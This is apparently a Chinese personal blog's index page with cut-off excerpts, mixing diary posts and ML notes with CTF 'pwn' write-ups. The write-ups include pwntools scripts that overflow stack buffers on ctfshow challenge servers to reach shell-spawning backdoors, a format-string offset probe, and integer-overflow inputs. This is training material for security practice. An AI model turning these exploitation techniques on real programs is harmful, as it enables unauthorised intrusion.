pwn135-159堆前置
0x05 堆前置pwn135终于到堆了,吃个饭先。
64位保护全开,除了fortify
很简单,就是了解一下相关的函数而已。
基本上都是动态分配内存相关的函数,malloc系列的函数。
calloc函数知识补充12345678910111213141516171819202122232425262728293031323334353637### `calloc` 函数详细信息#### 功能`calloc` 函数用于动态分配内存,分配的内存区域会被初始化为零。它通常用于需要分配数组或结构体的场景,确保所有元素的初始值为零。#### 原型```cvoid* calloc(size_t num, size_t size);```#### 参数- **`num`**:要分配的元素数量。- **`size`**:每个元素的大小(以字节为单位)。#### 返回值- **成功**:返回指向分配内存的指针。- **失败**:返回 `NULL`,表示内存分配失败。#### 使用场景- **数组分配**:当需要分配一个数组时,使用 `calloc` 可以确保数组中的所有元素都被初始化为零。- * ...
volcanoPrincess
2024.10.7 0:09趁着史低喜加一,想着买了还是得玩,故有此贴。
首先得给女鹅起个名字吧,这里也是挑了一下,感觉Aurora还是蛮好的,曙光的意思,所以父亲的名字也就命名为了Sun(这个就是顺手起的了)
由于这个点该去睡觉了,所以就先起个头,不过还是看到了一点剧情,没想到起手就是亡妻回忆录啊(悲
2024.10.8 0:30玩了六个月,歪完了,可恶,明明是想成为最有安全感的,为什么全点到厉害和温柔去了啊orz。
养女鹅真好玩,嘻嘻(就是那个语音有点刺激了,每次叫爸爸都会起鸡皮疙瘩,auv)
2024国庆
https://tieba.baidu.com/p/9039144557《喜欢桃香的仁菜,和昴交往了》
太好康了,能不喜欢nina和486的也是神人了。
2024.10.13忘记写了,国庆根本没出门啊,没啥好记录的,就是感觉时间根本不够用orz。
newstarctf_pwn_week1-5
week1Real Login使用ida_pro反编译之后可以看到,在main函数中有两个函数,一个是printBanner(),还有一个是func()。
主要看func()这个函数,跟进func之后可以发现,在对输入的buf进行检验之后,会执行一个win()函数,win()函数中调用了system(‘/bin/sh’),只要输入正确的password就可以通过检验。
跟进password可以发现,password是一个存在data段的字符串,’NewStar!!!’
12解题过程:使用nc连接下发的容器之后,输入NewStar!!!,按下回车之后即可getshell
由于这个wp是面向新生向的,这里也说说怎么用nc,nc就是netcat(这个可以百度到的,搜下载就好了,在你的电脑上下载后nc之后就可以使用了)
这里演示用的是windows主机,但是其实nc一般是下在wsl或者linux虚拟机上的,可以看到使用nc连接到这个ip和端口之后,在input后面输入NewStar!!!之后,弹出了congratulations!!,在这之后就可以执行命令了,l ...
pwn111-134bypass安全机制
0x04 bypass安全机制pwn111
只开了nx,简单的栈溢出,连图都懒得截了,相信都到这里了,写出这玩意不是问题。
123456789101112from pwn import *context(arch='amd64',os='linux',log_level='debug')p = remote("pwn.challenge.ctf.show",28214)elf = ELF('../pwn111')backdoor = elf.sym['do_global']offset = 0x80 + 0x8payload = cyclic(offset) + p64(backdoor)p.sendline(payload)p.interactive()
pwn112
啊哈,保护全开(除了relro),32位。
分析一下程序就好了,后门函数在ctfshow函数的register_tm()中,只要满足var[13]=’17’就行
123456789from ...
机器学习1
机器学习入门1.常见算法有监督学习算法
分类(Classification)
回归(Regression)
knn根据当前样本跟其他样本的距离来对当前样本进行分类,超参数k用于圈定范围
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485KNN(K-Nearest Neighbors,K最近邻)是一种简单而有效的监督学习算法,广泛用于分类和回归任务。KNN 的基本思想是通过计算样本之间的距离来进行预测,具体步骤如下:### 基本原理1. **训练阶段**: - KNN 是一种懒惰学习(lazy learning)算法,它在训练阶段并不构建显式的模型,而是简单地存储训练数据。2. **预测阶段**: - 对于一个新的输入样本,KNN 会计算该样本与训练集中所有样本的距离(通常使用欧几里得距离、曼哈顿距离等 ...
2024中秋
9.18 12:23其实应该在昨晚写的,不知道为什么还是晚上写起来比较有手感,所以这里也就起个头,真正要写还要等到今晚。
9.18 23:27貌似有点小晚,为了不熬夜还是明天早上来写吧,希望明天早上七点多能起来,八点多来写就刚刚好了。
9.20 11:08很明显失败了,根本没起得来,现在是在宿舍码字。笔记本快没电了,没带充电器回来,赶紧码完回去充电了。
中秋有什么好讲呢?最近跑了趟北京,(什么京✌体验卡),感觉还是比较好玩,调休出去玩确实爽,可惜ccb的pwn一道都没做出来,全是堆啊,有点难受的。最近也不怎么发信息,感觉比之前要好,毕竟发了也没什么反馈(主动是失败的第一步?最近老是刷到小丑帖,合理吗)
接下来大概就要继续学习了吧,最近还要学ai和嵌入式,然后明天估计就能学到堆了,但是明天还有bytectf要打,估计也是坐牢,嘿嘿。
电量还剩百分之七,其实最近也很迷茫,跟朋友聊天,他也不知道安全的道路到底在哪里,是不是做不到顶尖就没有工作了(悲),而且最近乙方看起来都很惨,唉,到我们这届说不定大家都寄完了。
最后还是说点好的
中秋快乐!
附星萤图镇楼:
画师是这个老师:https:// ...
pwn101-110整数安全
0x03 整数安全pwn101
64位保护全开
看看代码
嗯,很简单,gift很明显是后门函数,这道题就是输出一下知识点而已
nc连接后输入2147483648 2147483647,获取flag
其实输入-2147483648也可以
从https://xz.aliyun.com/t/12747?time__1311=GqGxu7G%3DKCqYqGN4eeuqWuPmwqiwurwhfbD截的图,挺好的。
pwn102突然发现Reference里面的官方wp链接放的是我下载下来的pdf的网址,没绷住,赶紧修了一下
ok,接下来看第二个
64位全开
nc连接输入4294967295
又是一个新的小技巧
pwn103
64位保护全开
有种突然上强度的感觉
先分析一下逻辑,先读入一个v1,v1要<=80,然后再读取一个dest(读取字符串直到\n停止),memcpy将src赋值给test,读取v1个字节。再对dest进行判断,但是此处的dest其实是指的dest数组的首地址,一般来说地址都是要比114514大的,所以if判断是不需要理会的,dest随便输一个数 ...
再水一篇日常
9.5 23:54先来几张凉仙贝镇楼,这几张我还蛮喜欢的。
再水一篇日常,这两天又刷了一下格式化字符串的题,感觉不是特别难,但是还挺有意思的,毕竟之前用了那么久的printf也没发现(是的,我就是那种用vs studio都会关闭安全警告的人),可变参数,很神奇吧
9.6 00:00半夜了校园网这么卡,哪个b半夜在下游戏是吧。
私以为第一张凉仙贝是四张里面最好看的一张,第二张是最纯的,可惜不太适合当头像,感觉太像小白花了(其实也不是不行),所以现在头像用的是第四张,感觉比较帅,第三张比较适合当手机壁纸。
copy_paste了一下图片,忘了想水啥了orz。
感觉这个学期过得好充实,明明才第二周啊,哦对了,明天一节课都没有啊,挺爽的,找时间看看ai,还得学机器学习,现在ai安全也是热门话题(应该吧),到时候pre的时候估计会搞篇文章复现一下,好忙。
其实不太喜欢这个,最近还是学pwn学得比较起劲,没怎么研究ai,唉,时间有点紧了,要学的东西好多,为什么去年就没这种感觉呢。哦,去年在学web啊,那没事了。
主要还是没什么激情吧,明明每天能学十几个小时pwn,但是放到ai看一个多钟就困 ...
pwn91-100格式化字符串
0x02 格式化字符串pwn91啊,好累
题目tips:开始格式化字符串了,先来个简单的吧
开了canary和nx
可以看到偏移值是7,就是说输入的aaaa和0x61616161之间隔了七个位置
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p就是用来显示偏移值的一个方法
萌新可以先看这个https://www.cnblogs.com/falling-dusk/p/17858030.html,看完之后可能会比较好一点
也可以gdb调试一下,看一下到底是输出了什么。
可以看到是向着高位地址的方向读取的,也就是说有可能把canary读出来,不过对于本题的意义倒不是很大。
本题如果不用集成好的函数写的话,应该是用的%n,然后计算位于bss段的变量daniu和偏移量7之间的关系,通过泄露出的地址计算距离之间的,然后将bss段覆盖为想要的数值。
不过这里还是按照官方wp的解法写,直接上工具!真好吧
1234567891011from pwn import *context(arch='i386',os='linux ...
brop
brop非常nb的论文,也是第一次看论文(真折磨吧)
由于此题是以ctfshow-Pwn入门的pwn80为例,所以写的示例脚本也是基于这个题目
概述:如何在64bit启用了canary,pie,aslr且对这个程序没有半点information的情况下攻击这个程序
前提条件:如果想要攻击成功的话,首先被攻击程序得有一个栈溢出漏洞,而且崩溃之后不会重置地址的布局(也就是crash之后不会重新随机化一次)
攻击链条(attack chain)其实就是攻击步骤,不过attack chain感觉听起来比较帅啊
丢一段原文搁这,不能只有我一个人被折磨
123456789101112131415H. Attack summaryThe optimized BROP attack is as follows:1) Find where the executable is loaded. Either 0x400000for non-PIE executables (default) or stack read asaved return address.2) Find a stop gadget. ...
pwn35-90栈溢出
0x01 栈溢出pwn35同pwn23,就是同一道题,除了溢出的长度不一样,这道题需要你输入的参数长度更长一些
pwn36题目提示,存在后门函数,ida中可以发现可疑函数get_flag,使用checksec检查后可以发现只开了relro,其他都没开,而且存在一个gets函数的栈溢出点,那么只需要将gets函数栈帧中的返回函数改为get_flag函数的地址即可
123456789101112131415from pwn import *from LibcSearcher import *context.log_level = "debug"p = remote("pwn.challenge.ctf.show","28139")elf = ELF("../pwn36") # 从附件中获取offset = 0x28 + 0x4 # 获得get_flag函数的地址get_flag_addr = elf.symbols['get_flag'] payload = offset*b' ...
